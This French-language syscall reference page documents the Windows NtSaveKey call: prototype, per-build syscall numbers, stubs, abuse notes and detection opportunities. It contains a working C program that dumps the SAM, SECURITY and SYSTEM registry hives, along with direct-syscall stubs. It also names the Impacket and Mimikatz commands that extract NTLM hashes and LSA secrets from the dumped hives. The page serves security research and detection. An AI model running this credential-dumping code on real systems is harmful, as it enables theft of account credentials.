> Windows Syscalls
ntoskrnl.exeT1003.002T1003.004T1106

NtSaveKey

Écrit une clé de registre vivante (avec sous-arbre) dans un fichier ruche — la face noyau du vol SAM/SECURITY.

Prototype

NTSTATUS NtSaveKey(
  HANDLE  KeyHandle,
  HANDLE  FileHandle
);

Arguments

NameTypeDirDescription
KeyHandleHANDLEinHandle ouvert vers la clé source (doit avoir KEY_QUERY_VALUE ; tout le sous-arbre est capturé).
FileHandleHANDLEinHandle ouvert vers le fichier destination (ouvert en GENERIC_WRITE sur un fichier vide/nouveau).

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x167win10-1507
Win10 16070x16Fwin10-1607
Win10 17030x175win10-1703
Win10 17090x178win10-1709
Win10 18030x17Awin10-1803
Win10 18090x17Bwin10-1809
Win10 19030x17Cwin10-1903
Win10 19090x17Cwin10-1909
Win10 20040x182win10-2004
Win10 20H20x182win10-20h2
Win10 21H10x182win10-21h1
Win10 21H20x184win10-21h2
Win10 22H20x184win10-22h2
Win11 21H20x18Cwin11-21h2
Win11 22H20x18Fwin11-22h2
Win11 23H20x18Fwin11-23h2
Win11 24H20x191win11-24h2
Server 20160x16Fwinserver-2016
Server 20190x17Bwinserver-2019
Server 20220x18Awinserver-2022
Server 20250x191winserver-2025

Module noyau

ntoskrnl.exeNtSaveKey

APIs liées

RegSaveKeyWRegSaveKeyExWNtSaveKeyExNtLoadKeyNtRestoreKey

Stub du syscall

4C 8B D1            mov r10, rcx
B8 91 01 00 00      mov eax, 0x191
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtSaveKey sérialise une clé de registre vivante et tout son sous-arbre vers un fichier au format ruche. Le fichier produit est une *ruche de première classe* : compatible octet à octet avec les fichiers SAM, SYSTEM, SECURITY sur disque. L'appelant doit détenir **SeBackupPrivilege**. NtSaveKey est l'original ; `NtSaveKeyEx` ajoute un paramètre flags (`REG_STANDARD_FORMAT` vs `REG_LATEST_FORMAT`). Le wrapper Win32 est `RegSaveKeyW` / `RegSaveKeyExW`.

Usage courant par les malwares

C'est le **chemin canonique sans VSS pour voler les ruches SAM et SECURITY en live** : ouvrir `HKLM\SAM` et `HKLM\SECURITY` (qui requièrent un accès SYSTEM ou de l'impersonation), puis NtSaveKey vers un emplacement inscriptible. Les fichiers résultants sont ensuite passés à `secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL` (Impacket) ou à Mimikatz `lsadump::sam` pour récupérer hashes NTLM, master keys DPAPI, credentials de domaine en cache, et secrets LSA — *sans* avoir à créer de Volume Shadow Copy (très surveillé). La commande `reg.py save` d'Impacket est précisément cette primitive exposée via RemoteRegistry/SMB. SeBackupPrivilege lui-même est le bypass — il outrepasse les DACL en lecture, rendant lisibles même les clés explicitement refusées au groupe Administrateurs local.

Opportunités de détection

Sysmon Event 11 (FileCreate) sur des fichiers au format ruche hors de `%SystemRoot%\System32\config\` est le signal le plus fiable — combiné aux Events 13 / 12 sur l'ouverture de `HKLM\SAM` ou `HKLM\SECURITY` juste avant. L'ETW `Microsoft-Windows-Kernel-Registry` émet des événements save-hive explicites incluant clé source et chemin destination. L'ajustement de SeBackupPrivilege (Sysmon 4673 avec `SeBackupPrivilege` dans la liste) par un processus non-backup est à fort signal. Détecter `reg.exe save HKLM\SAM` et les équivalents PowerShell, et guetter toute écriture par processus SYSTEM d'un en-tête magique de ruche (`regf`) hors des répertoires config.

Exemples de syscalls directs

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtSaveKey (SSN 0x191 on Win11 24H2 — drifts per build)
NtSaveKey PROC
    mov  r10, rcx          ; KeyHandle
    mov  eax, 191h         ; SSN
    syscall
    ret
NtSaveKey ENDP

cLive SAM/SECURITY extraction skeleton

// Dump SAM and SECURITY hives without touching Volume Shadow Copy.
// Requires SYSTEM context AND SeBackupPrivilege enabled.
#include <windows.h>

static BOOL EnableBackupPriv(void) {
    HANDLE tok; TOKEN_PRIVILEGES tp = {0};
    if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES, &tok)) return FALSE;
    LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL ok = AdjustTokenPrivileges(tok, FALSE, &tp, 0, NULL, NULL)
              && GetLastError() == ERROR_SUCCESS;
    CloseHandle(tok);
    return ok;
}

LONG DumpHive(LPCWSTR root, LPCWSTR outPath) {
    HKEY hKey = NULL;
    LONG s = RegOpenKeyExW(HKEY_LOCAL_MACHINE, root,
                            REG_OPTION_BACKUP_RESTORE, KEY_READ, &hKey);
    if (s != ERROR_SUCCESS) return s;
    DeleteFileW(outPath);
    s = RegSaveKeyExW(hKey, outPath, NULL, REG_LATEST_FORMAT);
    RegCloseKey(hKey);
    return s;
}

int wmain(void) {
    if (!EnableBackupPriv()) return 1;
    DumpHive(L"SAM",      L"C:\\stage\\SAM.hiv");
    DumpHive(L"SECURITY", L"C:\\stage\\SECURITY.hiv");
    DumpHive(L"SYSTEM",   L"C:\\stage\\SYSTEM.hiv");
    return 0;
}

rustDirect NtSaveKey via ntapi

// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["winnt", "handleapi"] }
use ntapi::ntregapi::NtSaveKey;
use winapi::shared::ntdef::{HANDLE, NTSTATUS};

unsafe fn save_hive(key: HANDLE, file: HANDLE) -> NTSTATUS {
    // Caller is expected to have already enabled SeBackupPrivilege
    // and opened `key` with KEY_QUERY_VALUE and `file` with GENERIC_WRITE.
    NtSaveKey(key, file)
}

Mappings MITRE ATT&CK

Last verified: 2026-05-20